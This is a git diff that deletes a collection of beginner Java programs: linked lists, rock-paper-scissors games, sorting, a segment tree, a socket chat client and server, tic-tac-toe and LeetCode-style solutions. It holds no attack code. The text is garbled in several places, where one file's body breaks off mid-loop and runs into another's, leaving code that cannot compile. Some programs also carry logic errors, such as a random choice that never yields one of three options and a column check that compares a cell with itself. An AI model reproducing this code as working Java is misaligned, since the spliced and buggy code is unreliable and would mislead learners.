Here/JAVA/ReverseLinkedList.java deleted file mode 100644 index 72d8b957153..00000000000 --- a/Add Code Here/JAVA/ReverseLinkedList.java +++ /dev/null @@ -1,62 +0,0 @@ -import java.util.*; - -public class ReverseLinkedList { - public static Lcheck head = null; - public static class Lcheck { - int data; - Lcheck next; - } - public static void get(int value) { - Lcheck temp = new Lcheck(); - temp.data = value; - temp.next = null; - if (head == null) { - head = temp; - } - else { - Lcheck last_check = head; - while (last_check.next != null) { - last_check = last_check.next; - } - last_check.next = temp; - } - } - public static void print(Lcheck temp) { - while (temp != null) { - System.out.print(temp.data + " "); - temp = temp.next; - } - } - - public static void reverseLinkedlist() { - - Stack t = new Stack<>(); - Lcheck temp = head; - while (temp.next != null) { - t.add(temp); - temp = temp.next; - } - head = temp; - while (!t.isEmpty()) { - temp.next = t.peek(); - t.pop(); - temp = temp.next; - } - temp.next = null; - } - public static void main(String[] args) { - Scanner in = new Scanner(System.in); - - System.out.println("Enter 5 elements for Reverse linked list"); - for (int i = 0; i < 5; i++) { - int e = in.nextInt(); - get(e); - } - System.out.print("linked list Before Reverse\n"); - print(head); - reverseLinkedlist(); - System.out.print("\nlinked list After Reverse\n"); - print(head); - } -} - diff --git a/Add Code Here/JAVA/RockPaperScissor.java b/Add Code Here/JAVA/RockPaperScissor.java deleted file mode 100644 index e35dc75e726..00000000000 --- a/Add Code Here/JAVA/RockPaperScissor.java +++ /dev/null @@ -1,139 +0,0 @@ -package Rameez; - -import java.util.*; - -public class game { - - public static void main(String[] args) { // Rock paper Scissor Game - - int victory = 0; - - - - int Rock = 0 , Paper = 1, Scissor = 2 ; - - int turn ; - - Scanner zap = new Scanner(System.in); - -Random ram = new Random(); - - System.out.println("This is a Rock- Paper-Scissor Game "); - - System.out.println(" Press Number Accordingly \n Rock --> 0\n Paper --> 1\n Scissor --> 2 \n "); - - System.out.println(" This Game has 5 Rounds "); - - for(int step = 1 ; step<= 5; step++){ - - System.out.println(" ******* Round 0" + step + " ********\n --> Computer's has Choosen the number\n "); - - int player1 = ram.nextInt(2); - - - - - - System.out.println(" --> Your's Turn "); - - int player2 = zap.nextInt(); - - - - while (player2 < 0 || player2 >= 3) - - { - - System.out.println(" Please enter the number between 1-3 \n Enter the number again "); - - player2=zap.nextInt(); - - } - - if (player1==player2){ - - System.out.println(" Both choose same Weapon \n Match Tie !! "); - - } - - else - -{ - - if (player1==0 && player2 == 1){ - - - - System.out.println(" You wins !! "); - - victory+= 1; - - } - - else if (player1==1 && player2 == 0) - - { - - System.out.println(" You loss !! "); - - System.out.println("Computer's Choice is " + player1 + " ( Paper )"); - - } - - - - else if (player1==2 && player2 == 1) - - { - - System.out.println(" You loss !! "); - - System.out.println("Computer's Choice is " + player1 + " ( Scissor )"); - - } - - else if (player1==1 && player2 == 2){ - - System.out.println(" You wiss !! "); - - victory+= 1; - - } - - else if (player1== 2 && player2 == 0){ - - - - System.out.println(" You wins !! "); - - victory+= 1; } - - - - else if (player1== 0 && player2 == 2) - - { - - System.out.println(" You loss !! "); - - System.out.println("Computer's Choice is " + player1 + " ( Rock )"); - - } - -} - - System.out.println("\n__________________________\n"); - - if (step == 5 ){ - - System.out.println( " Your Total Victories are " + victory + - - " \n ******* Game End ******* " + "\n *** Programed By Muhammad Rameez ***\n ***** Gcu Lahore (0090-Bscs-20) *****"); - - - - }} - - } - - } diff --git a/Add Code Here/JAVA/Rock_Paper.java b/Add Code Here/JAVA/Rock_Paper.java deleted file mode 100644 index b4625e4e577..00000000000 --- a/Add Code Here/JAVA/Rock_Paper.java +++ /dev/null @@ -1,65 +0,0 @@ -import java.util.Scanner; -import java.util.Random; - -public class Rock_Paper { - private static Scanner sc; - - public static void main(String[] args) { - - // 0 for Rock - // 1 for Paper - // 2 for Scissor - - int copwin=0,playwin=0,draw=0,c=0; - Random random = new Random(); - sc = new Scanner(System.in); - - System.out.print("\n Enter number of matches:"); - int n=sc.nextInt(); - - for (int i = 0; i < n; i++) { - c++; - System.out.printf("\n\n\t\t\t\t**********MATCH %d OF %d**********",i+1,n); - System.out.print("\n\t\t Enter 0 for Rock\n\t\t Enter 1 for Paper\n\t\t Enter 2 for Scissor \n"); - int userInput = sc.nextInt(); - - int computerInput = random.nextInt(3); - - if (userInput == computerInput) { - System.out.println("Draw"); - draw++; - } else if (userInput == 0 && computerInput == 2 || userInput == 1 && computerInput == 0 - || userInput == 2 && computerInput == 1) { - System.out.println("You Win!"); - playwin++; - } else if (userInput>2){ - System.out.println("Invalid Input!!"); - c--; - break; - } else { - System.out.println("Computer Win!"); - copwin++; - } - - if (computerInput == 0) { - System.out.println("Computer choice: Rock"); - } else if (computerInput == 1) { - System.out.println("Computer choice: Paper"); - } else { - System.out.println("Computer choice: Scissors"); - } - } - System.out.println("\nNumber of matches played = "+c); - System.out.printf("\n\t Your Win=%d \n\t Computer Win=%d \n\t Draw=%d",playwin,copwin,draw); - if(playwin>copwin){ - System.out.printf("\n\t\t YOU WON THE TOURNAMENT BY %d POINTS!!!",playwin-copwin); - } - else if(copwin>playwin){ - System.out.printf("\n\t\t YOU LOST THE TOURNAMENT BY %d POINTS!!!",copwin-playwin); - } - else { - System.out.printf("\n\t\t TOURNAMENT IS DRAW BY %d - %d POINTS!!!",playwin,copwin); - } - System.out.println("\n\n\t\t ***************PROGRAM BY VAIBHAV SRIVASTAVA***************"); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/Rod_Cutting.java b/Add Code Here/JAVA/Rod_Cutting.java deleted file mode 100644 index 6395a4fe021..00000000000 --- a/Add Code Here/JAVA/Rod_Cutting.java +++ /dev/null @@ -1,22 +0,0 @@ -import java.util.Arrays; - -public class Rod_Cutting { - public static int findProfit(int length,int profit[],int dp[]) - { - for(int i=1;i<=length;i++) - { - for(int j=0;j The array representing the segment tree -// si --> Index of the current node in the segment tree. -// Initially, 0 is passed as the root is always at the index 0 -// x & y --> Start and end indices of the segment represented -// by the current node, i.e., stArr[si] -// i & j --> Start and end indices of the query range -int getSumUtil(int x, int y, int i, int j, int si) -{ -// If the segment of the node is the part of the given range, -// then return the sum of the segment -if (i <= x && j >= y) -{ -return stArr[si]; -} -// If the segment of the node is outside of the given range -if (y < i || x > j) -{ -return 0; -} - -// If a part of the segment overlaps with the range given -int midVal = getMidIndex(x, y); -return getSumUtil(x, midVal, i, j, 2 * si + 1) + - getSumUtil(midVal + 1, y, i, j, 2 * si + 2); -} -// A recursive method to update the nodes that have the given -// index in their range. The following are the parameters -// si, x and y are same as the getSumUtil() method -// j --> index of the element to be updated. The index is in -// the input array. -// val --> Value that has to be added to all of the nodes which have j in the range -void updateValUtil(int x, int y, int j, int val, int si) -{ -// Base Case: If the input index lies outside the range of -// this segment -if (j < x || j > y) -{ -return; -} -// If the range of the node contains the input index, then update the -// value of the node and its children -stArr[si] = stArr[si] + val; -if (y != x) -{ -int midVal = getMidIndex(x, y); -updateValUtil(x, midVal, j, val, 2 * si + 1); -updateValUtil(midVal + 1, y, j, val, 2 * si + 2); -} -} -// The method is to update the value in the input array and the segment tree. -// It uses the updateValUtil() to update the value in the segment tree -void updateVal(int a[], int s, int j, int newVal) -{ -// Check for erroneous input index -if (j < 0 || j > s - 1) -{ -System.out.println("Input is Invalid"); -return; -} -// Get the difference between the old value and new value -int diffVal = newVal - a[j]; -// Update the value in array -stArr[j] = newVal; -// Update the values of nodes in segment tree -updateValUtil(0, s - 1, j, diffVal, 0); -} -// Returning the sum of elements in the range from the index x (query start) to -// y (query end). It uses the method getSumUtil() -int getSum(int s, int x, int y) -{ -// Checking for the absurd input values -if (x < 0 || x > s - 1 || x > y) -{ -System.out.println("The input is invalid"); -return -1; -} -return getSumUtil(0, s - 1, x, y, 0); -} -// A recursive method that does the construction of the Segment Tree for the array -// a[x ... y]. -// si is the index of the current node in the segment tree stArr -int constructST(int a[], int x, int y, int si) -{ -// If only one element is present in the array, store it -// in the current node of the segment tree and then return -if (x == y) -{ -stArr[si] = a[x]; -return a[x]; -} -// If there are more than one element, then apply recurrence in the left and -// right subtrees and the store the sum of values in this node -int mid = getMidIndex(x, y); -stArr[si] = constructST(a, x, mid, si * 2 + 1) + - constructST(a, mid + 1, y, si * 2 + 2); -return stArr[si]; -} -// Main method -public static void main(String argvs[]) -{ -// input array -int a[] = {2, 4, 7, 10, 12, 13}; -int size = a.length; // size of the input array -// Building the segment tree from the input array -SegTree tree = new SegTree(a, size); -// Printing the sum of values in the input array from index 1 to 4 -System.out.println("Sum of values in the given range 1 to 4 = " + tree.getSum(size, 1, 4)); -// Update: setting arr[3] = 11 and updating the corresponding segment -// of the tree nodes -tree.updateVal(a, size, 3, 11); -// Finding the sum after the value is getting updated -System.out.println("Updated sum of values in the given range = " + tree.getSum(size, 1, 4)); -} -} diff --git a/Add Code Here/JAVA/SelectionSort.java b/Add Code Here/JAVA/SelectionSort.java deleted file mode 100644 index 32b28e30962..00000000000 --- a/Add Code Here/JAVA/SelectionSort.java +++ /dev/null @@ -1,29 +0,0 @@ -package SortingAlgorithms; - -import java.util.Arrays; - -public class SelectionSort { - public static void main(String[] args) { - int[] arr = { 43, 54,12, 41, 88 }; - selectionSort(arr); - for(int i=0;i=0;i--) - { - for(int j=n-1;j>=1;j--) - { - if(matrix[i][0]==0 || matrix[0][j]==0) - { - matrix[i][j]=0; - } - } - if(col0==0) - { - matrix[i][0]=0; - } - } - } -} - diff --git a/Add Code Here/JAVA/ShortestCommonSupersequenceString.java b/Add Code Here/JAVA/ShortestCommonSupersequenceString.java deleted file mode 100644 index a3effe97a02..00000000000 --- a/Add Code Here/JAVA/ShortestCommonSupersequenceString.java +++ /dev/null @@ -1,54 +0,0 @@ -//[Problem Statement Link] (https://leetcode.com/problems/shortest-common-supersequence) - -//Java code below - -class Solution { - int m; - int n; - public String shortestCommonSupersequence(String str1, String str2) { - m = str1.length(); - n = str2.length(); - - return helper(str1, str2); - } - private String helper(String str1, String str2){ - int[][] dp = new int[m+1][n+1]; - for(int i=1; i<= m; i++){ - for(int j=1; j<= n; j++){ - if(str1.charAt(i-1) == str2.charAt(j-1)){ - dp[i][j] = 1+ dp[i-1][j-1]; - } - else{ - dp[i][j] = Math.max(dp[i-1][j], dp[i][j-1]); - } - } - } - String ans = ""; - int i=m, j=n; - - while(i>0 && j>0){ - if(str1.charAt(i-1) == str2.charAt(j-1)){ - ans += str1.charAt(i-1); - i--; - j--; - } - else if(dp[i-1][j] > dp[i][j-1]){ - ans += str1.charAt(i-1); - i--; - } - else{ - ans += str2.charAt(j-1); - j--; - } - } - while(i > 0){ - ans += str1.charAt(i-1); - i--; - } - while(j > 0){ - ans += str2.charAt(j-1); - j--; - } - return new StringBuilder(ans).reverse().toString(); - } -} diff --git a/Add Code Here/JAVA/SieveOfEratosthenes.java b/Add Code Here/JAVA/SieveOfEratosthenes.java deleted file mode 100644 index 30c15548b12..00000000000 --- a/Add Code Here/JAVA/SieveOfEratosthenes.java +++ /dev/null @@ -1,34 +0,0 @@ -class SieveOfEratosthenes { - void sieveOfEratosthenes(int n) - { - - boolean prime[] = new boolean[n + 1]; - for (int i = 0; i <= n; i++) - prime[i] = true; - - for (int p = 2; p * p <= n; p++) { - - if (prime[p] == true) { - - for (int i = p * p; i <= n; i += p) - prime[i] = false; - } - } - - - for (int i = 2; i <= n; i++) { - if (prime[i] == true) - System.out.print(i + " "); - } - } - - - public static void main(String args[]) - { - int n = 30; - System.out.print("Following are the prime numbers "); - System.out.println("smaller than or equal to " + n); - SieveOfEratosthenes g = new SieveOfEratosthenes(); - g.sieveOfEratosthenes(n); - } -} diff --git a/Add Code Here/JAVA/SingleLinkedList.java b/Add Code Here/JAVA/SingleLinkedList.java deleted file mode 100644 index 43e8ee67acb..00000000000 --- a/Add Code Here/JAVA/SingleLinkedList.java +++ /dev/null @@ -1,519 +0,0 @@ -class LinkList{ - //if we do not define constructors than class will call constructor implicitly and assign null and 0 according to data type - int info; - LinkList next,ptr,start,n; - LinkList(){ - // this.start=null; //even without this program will work as implicit default constructor has given values - } - LinkList(int info){ - this.info=info; - // this.next=null; //even without this program will work as implicit default constructor has given values - } - - void add(int info){ - n=new LinkList(info); - if(start==null){ - start=n; - } - else{ - ptr=start; - while(ptr.next!=null){ - ptr=ptr.next; - } - ptr.next=n; // !!important :how it is reflected to start : since ptr has a referance of start so any changes in ptr reflects to start . - } - } - - - void push(int info){ - n=new LinkList(info); - if(start==null){ - start=n; - } - else{ - n.next=start; //only this code can do all work - start=n; - } - } - - void add(int info,int index){ - n=new LinkList(info); - if(start==null){ - start=n; - } - else if(index==0){ - push(info); - } - else{ - ptr=start; - int count=1; - while(count "); - return -1; - } - else{ - int count=1; - while(count<=index && ptr!=null){ //for position ie. start index=1 count "); - return -1; - } - } - return ptr.info; - } - - int nthLast(int n){ - if(start==null){ - System.out.print("Empty List=> "); - return -1; - } - else{ - int count=1; - LinkList t=start;//turtule rabbit approach - LinkList r=start; - while(count "); - return -1; - } - else{ - while(r.next!=null){ //traversing to last position from nth position - t=t.next; //traversing to nth last - r=r.next; - } - } - return t.info; - } - } - - void trimSorted(){ //only applies to sorted Linked list - if(start==null){ - System.out.println("Underflow"); - } - else{ - ptr=start; - LinkList x; - while(ptr.next!=null){ - if(ptr.info==ptr.next.info){ - x=ptr.next; - ptr.next=x.next; - x=null; - } - else{ - ptr=ptr.next; - } - } - } - } - void print_Even_Odd(){ - if(start==null){ - System.out.println("UnderFlow"); - } - else{ - ptr=start; - LinkList even=new LinkList(); - LinkList odd=new LinkList(); - while(ptr!=null){ - if(ptr.info%2==0){ - even.add(ptr.info); - } - else{ - odd.add(ptr.info); - } - ptr=ptr.next; - } - System.out.print("Even Nos "); - even.print(); - System.out.print("Odd Nos "); - odd.print(); - } - } - - void swap(int x,int y){ ///new approach take pre and post pointer of linked list - ptr=start; - LinkList preptr=null; - while(ptr!=null && ptr.info!=x){ - preptr=ptr; - ptr=ptr.next; - } - LinkList ptrX=ptr; - LinkList preptrX=preptr; - ptr=start; - preptr=null; - while(ptr!=null && ptr.info!=y){ - preptr=ptr; - ptr=ptr.next; - } - LinkList ptrY=ptr; - LinkList preptrY=preptr; - - LinkList temp=ptrY.next; - ptrY.next=ptrX.next; - ptrX.next=temp; - if(preptrX==null){ - start=ptrY; - preptrY.next=ptrX; - } - if(preptrY==null){ - start=ptrX; - preptrX.next=ptrY; - } - if(preptrX!=null && preptrY!=null){ - preptrX.next=ptrY; - preptrY.next=ptrX; - } - } - - void reverse(){ - if(start==null || start.next==null){ - return; - } - LinkList prev=null; - ptr=start; - while(ptr!=null){ - LinkList temp=ptr.next; - ptr.next=prev; - prev=ptr; - ptr=temp; - } - start=prev; - } - - LinkList reverseInNumbers(LinkList start,int k){ - if(start==null || start.next==null){ - return start; - } - ptr=start; - LinkList next=null,prev=null; - int count=0; - while(count(); - hm.co - } - - private void write() { - Runnable runnable = () -> { - System.out.println("Writer started"); - try { - while (true) { - BufferedReader read = new BufferedReader(new InputStreamReader(System.in)); - String message = read.readLine(); - writer.println(message); - writer.flush(); - if(message.equals("exit")){ - socket.close(); - break; - } - } - - } catch (Exception e) { - System.out.println("Socket Connection terminated"); - } - System.out.println("Connection Closed"); - }; - new Thread(runnable).start(); - } - - private void read() { - Runnable runnable = () -> { - try { - while (!socket.isClosed()) { - String message = reader.readLine(); - if (message.equals("exit")) { - System.out.println("Server terminated the chat"); - socket.close(); - break; - } - System.out.println("Server - " + message); - } - } catch (IOException e) { - System.out.println("Socket Connection closed"); - } - }; - new Thread(runnable).start(); - } - - public static void main(String[] args) { - System.out.println("Client Started..."); - new Client(); - } -} diff --git a/Add Code Here/JAVA/SocketProgramming/Server.java b/Add Code Here/JAVA/SocketProgramming/Server.java deleted file mode 100644 index 10be9035f54..00000000000 --- a/Add Code Here/JAVA/SocketProgramming/Server.java +++ /dev/null @@ -1,74 +0,0 @@ -import java.io.BufferedReader; -import java.io.InputStreamReader; -import java.io.PrintWriter; -import java.net.ServerSocket; -import java.net.Socket; - -public class Server { - ServerSocket serverSocket; - Socket socket; - BufferedReader reader; - PrintWriter writer; - - public Server() { - try { - serverSocket = new ServerSocket(6666); - System.out.println("Server is ready for connection"); - socket = serverSocket.accept(); - - reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); - writer = new PrintWriter(socket.getOutputStream()); - - read(); - write(); - } catch (Exception e) { - e.printStackTrace(); - } - } - - private void write() { - Runnable runnable = () -> { - System.out.println("Writer started"); - try { - while (!socket.isClosed()) { - BufferedReader read = new BufferedReader(new InputStreamReader(System.in)); - String message = read.readLine(); - writer.println(message); - writer.flush(); - if(message.equals("exit")){ - socket.close(); - break; - } - } - } catch (Exception e) { - System.out.println("Socket Connection terminated"); - } - System.out.println("Socket Connection closed"); - }; - new Thread(runnable).start(); - } - - private void read() { - Runnable runnable = () -> { - try { - while (true) { - String message = reader.readLine(); - if (message.equals("exit")) { - System.out.println("Client terminated the chat"); - socket.close(); - break; - } - System.out.println("Client - " + message); - } - } catch (Exception e) { - System.out.println("Socket Connection closed"); - } - }; - new Thread(runnable).start(); - } - - public static void main(String[] args) { - System.out.println("Starting Server..."); - new Server(); - } -} diff --git a/Add Code Here/JAVA/SortingMethods.java b/Add Code Here/JAVA/SortingMethods.java deleted file mode 100644 index 5fadea29cd1..00000000000 --- a/Add Code Here/JAVA/SortingMethods.java +++ /dev/null @@ -1,164 +0,0 @@ -//this file contains some sorting methods -class SortingMethods { - static int[] selectionSort(int[] arr) { // selecting an element and compare to other elements - for (int i = 0; i < arr.length - 1; i++) { - for (int j = i + 1; j < arr.length; j++) { - if (arr[i] > arr[j]) { - int temp = arr[i]; - arr[i] = arr[j]; - arr[j] = temp; - } - } - } - return arr; - } - - static int[] bubbleSort(int arr[]) { // bubbling out largest number - for (int i = 0; i < arr.length; i++) { - for (int j = 0; j < arr.length - 1 - i; j++) { - if (arr[j] > arr[j + 1]) { - int temp = arr[j]; - arr[j] = arr[j + 1]; - arr[j + 1] = temp; - } - } - } - return arr; - } - - static int[] insertionSort(int arr[]) // inserting elements in sorted way prefrable if array is almost sorted ie.for - // best case - { - for (int i = 1; i < arr.length; i++) { // shifting larger elements to next position and inserting key element to - // correct location - int key = arr[i]; - int j = i - 1; - while (j >= 0 && arr[j] > key) { - arr[j + 1] = arr[j]; - j--; - } - arr[j + 1] = key; - } - return arr; - } - - static void mergeSort(int arr[], int low, int high) { // prefered worst case=nlogn - if (low < high) { - int mid = low + (high - low) / 2; // this is prefered over (low+high)/2 because low+high may cause overflow - // ie.if it is greater than maxinteger - mergeSort(arr, low, mid); - mergeSort(arr, mid + 1, high); - merge(arr, low, mid, high); - } - } - - static void merge(int[] arr, int low, int mid, int high) { // part of mergesort - int n1 = mid - low + 1; - int n2 = high - mid; - int L[] = new int[n1]; - int R[] = new int[n2]; - for (int i = 0; i < n1; i++) { - L[i] = arr[low + i]; - } - for (int j = 0; j < n2; j++) { - R[j] = arr[mid + 1 + j]; - } - int i = 0, j = 0; - int k = low; - // sorting and merging - while (i < n1 && j < n2) { // compare and insert - if (L[i] < R[j]) { - arr[k] = L[i]; - i++; - } else { - arr[k] = R[j]; - j++; - } - k++; - } - while (i < n1) { // insert if remaining - arr[k] = L[i]; - i++; - k++; - } - while (j < n2) { // insert if remaining - arr[k] = R[j]; - j++; - k++; - } - } - - static void radixSort(int[] arr) { // complexity O(d*n) - // input range natural numbers only - int ln = 0; - for (int i : arr) { - int temp = (int) (Math.log10(i) + 1); - if (temp > ln) { - ln = temp; - } - } - for (int i = 0; i < ln; i++) { - int bucket[][] = new int[10][arr.length]; - for (int j = 0; j < arr.length; j++) { - int d = ((int) (arr[j] / Math.pow(10, i))) % 10; - bucket[d][j] = arr[j]; - } - int k = 0; - for (int l = 0; l < 10; l++) { - for (int m = 0; m < bucket[l].length; m++) { - if (bucket[l][m] != 0) { - arr[k] = bucket[l][m]; - k++; - } - } - } - } - } - - static void quickSort(int arr[],int start,int end){ - if(start 33 && computer <= 66){ - comp = "Paper"; - } - if (computer > 66 && computer <= 100){ - comp = "Scissor"; - } - System.out.println("Computer's choice : "+comp); - System.out.println("User's choice : "+ user); - - // Computer - if (comp.equals("Stone") && user.equals("Scissor")|| user.equals("scissor")){ - compscore = compscore+1; - } - if (comp.equals("Paper") && user.equals("Stone")|| user.equals("stone")){ - compscore = compscore+1; - } - if (comp.equals("Scissor")&& user.equals("Paper") || user.equals("paper")){ - compscore = compscore+1; - } - - // User - if (user.equals("Stone")||user.equals("stone") && comp.equals("Scissor")){ - userscore = userscore+1; - } - if (user.equals("Paper")||user.equals("paper") && comp.equals("Stone")){ - userscore = userscore+1; - } - if (user.equals("Scissor")|| user.equals("scissor") && comp.equals("Papar")){ - userscore = userscore+1; - } - - System.out.println("User Score : "+userscore); - System.out.println("Computer : "+compscore); - - if (compscore suhumax) { - suhumax = suhu[i]; - } - for (int j = 0; j < suhu.length; j++) { - if (suhu[j] < suhumin) { - suhumin = suhu[j]; - } - } - } - - System.out.println(hari.get(0)); - System.out.println(hari.get(1)); - System.out.println(hari.get(2)); - System.out.println(hari.get(3)); - System.out.println(hari.get(4)); - System.out.println(hari.get(5)); - System.out.println(hari.get(6)); - - System.out.println(""); - - System.out.println("suhu tertinggi " + hari.get(4) + " " + suhumax); - System.out.println("suhu terendah " + hari.get(6) + " " + suhumin); - - } - -} diff --git a/Add Code Here/JAVA/SumTwo.java b/Add Code Here/JAVA/SumTwo.java deleted file mode 100644 index 8db2a136810..00000000000 --- a/Add Code Here/JAVA/SumTwo.java +++ /dev/null @@ -1,12 +0,0 @@ -public class Main { - public static void main(String[] args) { - - int num1 = 5, num2 = 15; - - - - - System.out.println("Sum of "+num1+" and "+num2+" is: "+(num1+num2)); - } -} -//by satyam diff --git a/Add Code Here/JAVA/Temperature.java b/Add Code Here/JAVA/Temperature.java deleted file mode 100644 index 969d3a962df..00000000000 --- a/Add Code Here/JAVA/Temperature.java +++ /dev/null @@ -1,48 +0,0 @@ -import java.util.Scanner; - -public class Temperature1 { - public static void main(String[] args) { - System.out.println("Enter 12 Celsius values between 35°C - 42°C"); //prompt the user to input 12 records. - - double celsius; - double sum = 0; - - double average = 0; - double max = 95, min = 107.60000000000001; - - for (double i = 0; i < 12; i++) - { - System.out.println("Enter a Celsius between 35°C - 42°C:-"); - Scanner sc = new Scanner(System.in); - celsius = sc.nextDouble(); - celsius = (1.8*celsius) + 32; //formula to convert Celsius into Fahrenheit. - - //validation of user inputs. - if (celsius < 95.0 || celsius > 107.60000000000001 ){ - System.out.println("Enter a Value Between 35°C - 42°C"); - i=i-1; - continue; - } - - sum += celsius; //get the sum to calculate the average. - average = sum / 12; //calculate the average. - - //calculation of minimum value. - if (celsius < min){ - min = celsius; - } - - //calculation of maximum value. - if (celsius > max){ - max = celsius; - } - - } - - System.out.println ("\nTemperature Summary for a day"); - System.out.println ("-----------------------------"); - System.out.println("Average Temperature (°F): " +average); - System.out.println ("Minimum Temperature (°F): " +min); - System.out.println ("Maximum Temperature (°F): " +max); - } -} diff --git a/Add Code Here/JAVA/TicTacToe.java b/Add Code Here/JAVA/TicTacToe.java deleted file mode 100644 index 0ee06ff80b7..00000000000 --- a/Add Code Here/JAVA/TicTacToe.java +++ /dev/null @@ -1,110 +0,0 @@ -import java.util.Scanner; - -/** - * Tic Tac Toe is two player console based game - * It fetches the row and column values from both players to place their mark - * Player 1 moves are represented by letter 1 and Player 2 moves are represented by letter 2 - */ -public class TicTacToe { - - public static int[][] grid = new int[3][3]; - public static final int PLAYER_ONE = 1; - public static final int PLAYER_TWO = 2; - public static final int TOTAL_MOVES = 9; - - public static void main(String[] args) { - - boolean matchWon = false; - printBoard(); - int currentMoves = 0, currentPlayer = 0; - while (currentMoves < TOTAL_MOVES) { - if (currentMoves % 2 == 0) - currentPlayer = PLAYER_ONE; - else - currentPlayer = PLAYER_TWO; - - playMove(currentPlayer); - matchWon = checkFrame(); - if (matchWon) { - System.out.println("Player " + currentPlayer + " Won!"); - printBoard(); - break; - } - printBoard(); - currentMoves++; - } - if (!matchWon) - System.out.println("Game Draw!"); - } - - public static void printBoard() { - System.out.println("-------------"); - for (int i = 0; i < 3; i++) { - System.out.print("| "); - for (int j = 0; j < 3; j++) - System.out.print(grid[i][j] + " | "); - System.out.println(); - System.out.println("-------------"); - System.out.println(); - } - } - - public static int validateMove(String message) { - int num = 0; - Scanner in = new Scanner(System.in); - while (true) { - System.out.print(message); - String input = in.nextLine(); - try { - num = Integer.parseInt(input); - } catch (Exception e) { - System.out.println("Invalid integer!"); - continue; - } - if (num < 0 || num > 2) { - System.out.println("Number should be with in matrix range i.e 0 - 2"); - continue; - } - return num; - } - } - - public static boolean checkRows() { - for (int i = 0; i < grid[0].length; i++) { - if ((grid[i][0] == grid[i][1]) && (grid[i][1] == grid[i][2]) && grid[i][0] != 0) - return true; - } - return false; - } - - public static boolean checkColumns() { - for (int i = 0; i < grid[0].length; i++) { - if ((grid[0][i] == grid[1][i]) && (grid[1][i] == grid[1][i]) && grid[2][i] != 0) - return true; - } - return false; - } - - public static boolean checkDiagonals() { - return (((grid[0][0] == grid[1][1]) && (grid[1][1] == grid[2][2]) && grid[0][0] != 0) - || ((grid[0][2] == grid[1][1]) && (grid[1][1] == grid[2][0]) && grid[1][1] != 0)); - } - - public static boolean checkFrame() { - return (checkRows() || checkColumns() || checkDiagonals()); - } - - public static void playMove(int playerNumber) { - System.out.println("Player " + playerNumber + " turn"); - int row = 0, column = 0; - while (true) { - row = validateMove("Enter row number: "); - column = validateMove("Enter column number: "); - if (grid[row][column] == 0) - break; - System.out.println(row + ", " + column + " is marked\n"); - } - grid[row][column] = playerNumber; - } - -} \ No newline at end of file diff --git a/Add Code Here/JAVA/ToweOfHanoi.java b/Add Code Here/JAVA/ToweOfHanoi.java deleted file mode 100644 index 03b4beb4246..00000000000 --- a/Add Code Here/JAVA/ToweOfHanoi.java +++ /dev/null @@ -1,19 +0,0 @@ -package dsQstns; -import java.util.Scanner; -public class ToweOfHanoi { - public static void main(String[] args) { - Scanner sc=new Scanner(System.in); - System.out.print("Enter number of plates: "); - int n=sc.nextInt(); - tower(n,"source","helper","destination"); - } - public static void tower(int n, String source, String helper, String destination) { - if(n==1) { - System.out.println("Disc "+n+" moves from "+source+" to "+destination); - return; - } - tower(n-1,source,destination,helper); - System.out.println("Disc "+n+" moves from "+source+" to "+destination); - tower(n-1,helper,source,destination); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/Word Break.java b/Add Code Here/JAVA/Word Break.java deleted file mode 100644 index 1db5db7e96e..00000000000 --- a/Add Code Here/JAVA/Word Break.java +++ /dev/null @@ -1,29 +0,0 @@ -public class Solution { - public int wordBreak(String A, String[] B) { - Set set = new HashSet<>(); - for (String s : B) { - set.add(s); - } - Boolean[] dp = new Boolean[A.length()]; - return wordBreak(A, set, 0, dp); - } - - private int wordBreak(String s, Set set, int start, Boolean[] dp) { - if (start == s.length()) { - return 1; - } - if (dp[start] != null) return dp[start] ? 1 : 0; - - int ans = 0; - for (int end = start + 1; end <= s.length(); end++) { - if (set.contains(s.substring(start, end)) && wordBreak(s, set, end, dp) == 1) { - ans = 1; - break; - } - } - - dp[start] = ans == 1; - return ans; - } -} - diff --git a/Add Code Here/JAVA/Word Ladder.java b/Add Code Here/JAVA/Word Ladder.java deleted file mode 100644 index 2bc5ebad3a1..00000000000 --- a/Add Code Here/JAVA/Word Ladder.java +++ /dev/null @@ -1,49 +0,0 @@ -class Solution { - public int ladderLength(String beginWord, String endWord, List wordList) { - if (wordList == null || wordList.size() == 0) return 0; - //Hashset benefits: deduplication is also completed - //start end - HashSet start = new HashSet<>(); - //end - HashSet end = new HashSet<>(); - //dictionary of all strings - HashSet dic = new HashSet<>(wordList); - start.add(beginWord); - end.add(endWord); - if (!dic.contains(endWord)) return 0; - //After going through the above series of judgments, when you get here, if there is a path, the minimum is 2, so start with 2 - return bfs(start, end, dic, 2); - - } - - public int bfs(HashSet st, HashSet ed, HashSet dic, int l) { - //When searching with two ends, if any segment is "broken", that is to say, there is no path that can be connected, it will return 0 directly. - if (st.size() == 0) return 0; - if (st.size() > ed.size()) {//Double-ended search, in order to optimize the time, always use less to find more. For example, if 1000 are inserted at the beginning, but only 3 at the end, it is definitely better to start from the less end. - return bfs(ed, st, dic, l); - } - //Marking behavior of BFS, i.e. used not reused - dic.removeAll(st); - //Collect next level proximity points - HashSet next = new HashSet<>(); - for (String s : st) { - char[] arr = s.toCharArray(); - for (int i = 0; i < arr.length; i++) { - char tmp = arr[i]; - //Variety - for (char c = 'a'; c <= 'z'; c++) { - if (tmp == c) continue; - arr[i] = c; - String nstr = new String(arr); - if (dic.contains(nstr)) { - if (ed.contains(nstr)) return l; - else next.add(nstr); - } - } - //Variety - arr[i] = tmp; - } - } - return bfs(next, ed, dic, l + 1); - } -} diff --git a/Add Code Here/JAVA/Word Pattern.java b/Add Code Here/JAVA/Word Pattern.java deleted file mode 100644 index 013d77bc390..00000000000 --- a/Add Code Here/JAVA/Word Pattern.java +++ /dev/null @@ -1,23 +0,0 @@ -class Solution { - public boolean wordPattern(String pattern, String s) { - String[] words = s.split(" "); - Map wordMap = new HashMap<>(); - Map charMap = new HashMap<>(); - if(pattern.length()!=words.length){ - return false; - } - for(int i= 0;i0) - - { - - int n=sc.nextInt(); - - long a[]=new long[n]; - - - - long maxw=sc.nextLong(); - - long rod=sc.nextLong(); - - - - for(int i=0;imap=new HashMap<>(); - - for(int i=0;i=maxw) - - System.out.println("YES"); - - else{ - - Set keys =map.keySet(); - - for(Long key:keys) - - { - - if(map.get(key)>1) - - { - - if(map.get(key)%2==0) - - { - - ans+=map.get(key)*key; - - - - } - - else - - { - - ans+=(map.get(key)-1)*key; - - - - } - - } - - } - - 